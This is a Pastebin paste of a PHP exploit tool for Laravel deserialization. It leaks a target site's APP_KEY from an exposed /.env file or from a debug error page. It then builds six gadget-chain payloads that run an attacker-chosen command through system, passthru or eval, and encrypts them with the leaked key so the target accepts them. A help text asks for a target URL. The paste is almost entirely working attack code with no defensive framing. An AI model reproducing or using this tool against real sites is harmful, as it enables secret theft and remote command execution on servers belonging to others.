zeerx7

ClassE

Aug 21st, 2020
139
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 7.76 KB | None | 0 0
  1. <?php
  2. /**
  3.  * @Con7ext | Laravel Unserialize
  4.  */
  5. error_reporting(0);
  6. class Func_
  7. {
  8.  
  9.     public function Serialize($key, $value)
  10.     {
  11.         $cipher = 'AES-256-CBC'; // or 'AES-128-CBC'
  12.         $iv = random_bytes(openssl_cipher_iv_length($cipher)); // instead of rolling a dice ;)
  13.         $value = \openssl_encrypt(base64_decode($value) , $cipher, base64_decode($key) , 0, $iv);
  14.  
  15.         if ($value === false)
  16.         {
  17.             exit("Could not encrypt the data.");
  18.         }
  19.  
  20.         $iv = base64_encode($iv);
  21.         $mac = hash_hmac('sha256', $iv . $value, base64_decode($key));
  22.  
  23.         $json = json_encode(compact('iv', 'value', 'mac'));
  24.  
  25.         if (json_last_error() !== JSON_ERROR_NONE)
  26.         {
  27.             echo "Could not json encode data." . PHP_EOL;
  28.             exit();
  29.         }
  30.  
  31.         //$encodedPayload = urlencode(base64_encode($json));
  32.         $encodedPayload = base64_encode($json);
  33.         return $encodedPayload;
  34.     }
  35.     public function GeneratePayload($command, $func = "system", $method = 1)
  36.     {
  37.         $payload = null;
  38.         $p = "<?php $command exit; ?>";
  39.         switch ($method)
  40.         {
  41.             case 1:
  42.                 $payload = 'O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"' . "\x00" . '*' . "\x00" . 'events";O:15:"Faker\Generator":1:{s:13:"' . "\x00" . '*' . "\x00" . 'formatters";a:1:{s:8:"dispatch";s:' . strlen($func) . ':"' . $func . '";}}s:8:"' . "\x00" . '*' . "\x00" . 'event";s:' . strlen($command) . ':"' . $command . '";}';
  43.             break;
  44.             case 2:
  45.                 $payload = 'O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"' . "\x00" . '*' . "\x00" . 'events";O:28:"Illuminate\Events\Dispatcher":1:{s:12:"' . "\x00" . '*' . "\x00" . 'listeners";a:1:{s:' . strlen($command) . ':"' . $command . '";a:1:{i:0;s:' . strlen($func) . ':"' . $func . '";}}}s:8:"' . "\x00" . '*' . "\x00" . 'event";s:' . strlen($command) . ':"' . $command . '";}';
  46.             break;
  47.             case 3:
  48.                 $payload = 'O:40:"Illuminate\Broadcasting\PendingBroadcast":1:{s:9:"' . "\x00" . '*' . "\x00" . 'events";O:39:"Illuminate\Notifications\ChannelManager":3:{s:6:"' . "\x00" . '*' . "\x00" . 'app";s:' . strlen($command) . ':"' . $command . '";s:17:"' . "\x00" . '*' . "\x00" . 'defaultChannel";s:1:"x";s:17:"' . "\x00" . '*' . "\x00" . 'customCreators";a:1:{s:1:"x";s:' .strlen($func) . ':"' . $func . '";}}}';
  49.             break;
  50.             case 4:
  51.                 $payload = 'O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"' . "\x00" . '*' . "\x00" . 'events";O:31:"Illuminate\Validation\Validator":1:{s:10:"extensions";a:1:{s:0:"";s:' . strlen($func) . ':"' . $func . '";}}s:8:"' . "\x00" . '*' . "\x00" . 'event";s:' . strlen($command) . ':"' . $command . '";}';
  52.             break;
  53.             case 5:
  54.                 $payload = 'O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"' . "\x00" . '*' . "\x00" . 'events";O:25:"Illuminate\Bus\Dispatcher":1:{s:16:"' . "\x00" . '*' . "\x00" . 'queueResolver";a:2:{i:0;O:25:"Mockery\Loader\EvalLoader":0:{}i:1;s:4:"load";}}s:8:"' . "\x00" . '*' . "\x00" . 'event";O:38:"Illuminate\Broadcasting\BroadcastEvent":1:{s:10:"connection";O:32:"Mockery\Generator\MockDefinition":2:{s:9:"' . "\x00" . '*' . "\x00" . 'config";O:35:"Mockery\Generator\MockConfiguration":1:{s:7:"' . "\x00" . '*' . "\x00" . 'name";s:7:"abcdefg";}s:7:"' . "\x00" . '*' . "\x00" . 'code";s:'. strlen($p) . ':"' . $p . '";}}}';
  55.             break;
  56.             case 6:
  57.                 $payload = 'O:29:"Illuminate\Support\MessageBag":2:{s:11:"' . "\x00" . '*' . "\x00" . 'messages";a:0:{}s:9:"' . "\x00" . '*' . "\x00" . 'format";O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"' . "\x00" . '*' . "\x00" . 'events";O:25:"Illuminate\Bus\Dispatcher":1:{s:16:"' . "\x00" . '*' . "\x00" . 'queueResolver";a:2:{i:0;O:25:"Mockery\Loader\EvalLoader":0:{}i:1;s:4:"load";}}s:8:"' . "\x00" . '*' . "\x00" . 'event";O:38:"Illuminate\Broadcasting\BroadcastEvent":1:{s:10:"connection";O:32:"Mockery\Generator\MockDefinition":2:{s:9:"' . "\x00" . '*' . "\x00" . 'config";O:35:"Mockery\Generator\MockConfiguration":1:{s:7:"' . "\x00" . '*' . "\x00" . 'name";s:7:"abcdefg";}s:7:"' . "\x00" . '*' . "\x00" . 'code";s:' . strlen($p) . ':"' . $p . '";}}}}';
  58.             break;
  59.         }
  60.         return base64_encode($payload);
  61.     }
  62. }
  63.  
  64. class Requester
  65. {
  66.  
  67.     public function Requests($url, $postdata = null, $headers = null, $follow = true)
  68.     {
  69.         $ch = curl_init();
  70.         curl_setopt($ch, CURLOPT_URL, $url);
  71.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  72.         curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  73.         curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  74.         curl_setopt($ch, CURLOPT_HEADER, 1);
  75.         if (!empty($headers) && $headers != null)
  76.         {
  77.             curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
  78.         }
  79.         if (!empty($postdata) && $postdata != null)
  80.         {
  81.             curl_setopt($ch, CURLOPT_POST, 1);
  82.             curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);
  83.         }
  84.         if ($follow)
  85.         {
  86.             curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  87.         }
  88.         $data = curl_exec($ch);
  89.         $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
  90.         $status_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
  91.         $head = substr($data, 0, $header_size);
  92.         $body = substr($data, $header_size);
  93.         return json_decode(json_encode(array(
  94.             'status_code' => $status_code,
  95.             'headers' => $this->HeadersToArray($head) ,
  96.             'body' => $body
  97.         )));
  98.     }
  99.     public function HeadersToArray($str)
  100.     {
  101.         $str = explode("\r\n", $str);
  102.         $str = array_splice($str, 0, count($str) - 1);
  103.         $output = [];
  104.         foreach ($str as $item)
  105.         {
  106.             if ($item === '' || empty($item)) continue;
  107.             $index = stripos($item, ": ");
  108.             $key = substr($item, 0, $index);
  109.             $key = strtolower(str_replace('-', '_', $key));
  110.             $value = substr($item, $index + 2);
  111.             if (@$output[$key])
  112.             {
  113.                 if (strtolower($key) === 'set_cookie')
  114.                 {
  115.                     $output[$key] = $output[$key] . "; " . $value;
  116.                 }
  117.                 else
  118.                 {
  119.                     $output[$key] = $output[$key];
  120.                 }
  121.             }
  122.             else
  123.             {
  124.                 $output[$key] = $value;
  125.             }
  126.         }
  127.         return $output;
  128.     }
  129. }
  130.  
  131. class Exploit extends Requester
  132. {
  133.     public $url;
  134.     public $vuln;
  135.     public $app_key;
  136.     public function __construct($url)
  137.     {
  138.         $this->url = $url;
  139.         $this->vuln = null;
  140.         $this->app_key = null;
  141.     }
  142.     public function getAppKeyEnv()
  143.     {
  144.         $req = parent::Requests($this->url . "/.env", null, null, $follow = false);
  145.         if (preg_match('/APP_KEY/', $req->body))
  146.         {
  147.             preg_match_all('/APP_KEY=([a-zA-Z0-9:;\/\\=$%^&*()-+_!@#]+)/', $req->body, $matches, PREG_SET_ORDER, 0);
  148.             $this->app_key = $matches[0][1];
  149.         }
  150.     }
  151.     public function getAppKey()
  152.     {
  153.         $req = parent::Requests($this->url, 'a=a', null, false);
  154.         if (preg_match('/<td>APP_KEY<\/td>/', $req->body))
  155.         {
  156.             preg_match_all('/<td>APP_KEY<\/td>\s+<td><pre.*>(.*?)<\/span>/', $req->body, $matches, PREG_SET_ORDER, 0);
  157.             $this->app_key = $matches[0][1];
  158.         }
  159.         else
  160.         {
  161.             $this->getAppKeyEnv($this->url);
  162.         }
  163.     }
  164. }
  165. function Help() {
  166.     echo "
  167.    url=URL // Target Required
  168.    Optionals:
  169.    key=APP_KEY // Setting app key if u have
  170.    function=system // Function ex : system, passthru
  171.    method=1 // method 1 - 4 Required function parameter, 5 - 6 ( Eval mode )
  172.    ". PHP_EOL;
  173. }
Add Comment
Please, Sign In to add comment